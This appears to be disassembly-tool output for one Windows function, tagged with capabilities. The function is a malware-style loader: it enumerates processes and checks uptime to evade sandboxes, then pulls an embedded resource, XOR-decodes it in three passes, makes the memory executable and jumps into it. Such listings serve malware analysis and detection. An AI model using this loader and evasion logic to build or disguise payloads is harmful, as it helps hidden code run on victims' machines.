Function at 0x1400011f0
Capabilities:
Encode data using xor
Enumerate processes
Extract resource via kernel32 functions

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x268
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
je 0x14000127a
mov rsi, rax
lea rdi, [rsp + 0x28]
mov r8d, 0x238
mov rcx, rdi
xor edx, edx
call fcn.14000e0b0
mov dword [rsp + 0x28], 0x238
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140001503
mov ebx, 0xffffffff
lea rdi, [rsp + 0x28]
nop dword [rax]
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_Process32NextW
inc ebx
test eax, eax
jne 0x140001260
cmp ebx, 0x3c
jb 0x140001503
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x927bf
jbe 0x140001503
call section..text
lea r8, [0x140013ea0]
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
xor ecx, ecx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
mov esi, eax
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov rcx, rax
mov rdx, rbx
mov r8, rsi
call fcn.14000da10
test ebp, ebp
je 0x1400014cc
cmp esi, 8
jae 0x140001300
xor eax, eax
jmp 0x140001380
cmp esi, 0x20
jae 0x140001309
xor eax, eax
jmp 0x14000134c
mov eax, esi
and eax, 0xffffffe0
xor ecx, ecx
movaps xmm0, xmmword [str.vvvvvvvvvvvvvvvvjjjjjjjjjjjjjjjj________________]
nop word [rax + rax]
movups xmm1, xmmword [rdi + rcx]
movups xmm2, xmmword [rdi + rcx + 0x10]
xorps xmm1, xmm0
xorps xmm2, xmm0
movups xmmword [rdi + rcx], xmm1
movups xmmword [rdi + rcx + 0x10], xmm2
add rcx, 0x20
cmp rax, rcx
jne 0x140001320
cmp rax, rsi
je 0x14000138c
test sil, 0x18
je 0x140001380
mov rcx, rax
mov eax, esi
and eax, 0xfffffff8
movabs rdx, 0x7676767676767676
nop
xor qword [rdi + rcx], rdx
add rcx, 8
cmp rax, rcx
jne 0x140001360
cmp rax, rsi
je 0x14000138c
nop word cs:[rax + rax]
xor byte [rdi + rax], 0x76
inc rax
cmp rsi, rax
jne 0x140001380
test rsi, rsi
je 0x1400014cc
cmp esi, 8
jae 0x1400013a1
xor eax, eax
jmp 0x140001420
cmp esi, 0x20
jae 0x1400013aa
xor eax, eax
jmp 0x1400013ec
mov eax, esi
and eax, 0xffffffe0
xor ecx, ecx
movaps xmm0, xmmword [0x14000f010]
nop dword [rax + rax]
movups xmm1, xmmword [rdi + rcx]
movups xmm2, xmmword [rdi + rcx + 0x10]
xorps xmm1, xmm0
xorps xmm2, xmm0
movups xmmword [rdi + rcx], xmm1
movups xmmword [rdi + rcx + 0x10], xmm2
add rcx, 0x20
cmp rax, rcx
jne 0x1400013c0
cmp rax, rsi
je 0x14000142c
test sil, 0x18
je 0x140001420
mov rcx, rax
mov eax, esi
and eax, 0xfffffff8
movabs rdx, 0x6a6a6a6a6a6a6a6a
nop
xor qword [rdi + rcx], rdx
add rcx, 8
cmp rax, rcx
jne 0x140001400
cmp rax, rsi
je 0x14000142c
nop word cs:[rax + rax]
xor byte [rdi + rax], 0x6a
inc rax
cmp rsi, rax
jne 0x140001420
test rsi, rsi
je 0x1400014cc
cmp esi, 8
jae 0x140001441
xor eax, eax
jmp 0x1400014c0
cmp esi, 0x20
jae 0x14000144a
xor eax, eax
jmp 0x14000148c
mov eax, esi
and eax, 0xffffffe0
xor ecx, ecx
movaps xmm0, xmmword [0x14000f020]
nop dword [rax + rax]
movups xmm1, xmmword [rdi + rcx]
movups xmm2, xmmword [rdi + rcx + 0x10]
xorps xmm1, xmm0
xorps xmm2, xmm0
movups xmmword [rdi + rcx], xmm1
movups xmmword [rdi + rcx + 0x10], xmm2
add rcx, 0x20
cmp rax, rcx
jne 0x140001460
cmp rax, rsi
je 0x1400014cc
test sil, 0x18
je 0x1400014c0
mov rcx, rax
mov eax, esi
and eax, 0xfffffff8
movabs rdx, 0x2c2c2c2c2c2c2c2c
nop
xor qword [rdi + rcx], rdx
add rcx, 8
cmp rax, rcx
jne 0x1400014a0
cmp rax, rsi
je 0x1400014cc
nop word cs:[rax + rax]
xor byte [rdi + rax], 0x2c
inc rax
cmp rsi, rax
jne 0x1400014c0
lea r9, [rsp + 0x28]
mov rcx, rdi
mov rdx, rsi
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rdi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001520
xor eax, eax
add rsp, 0x268
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov ecx, 1
call fcn.140002858
int3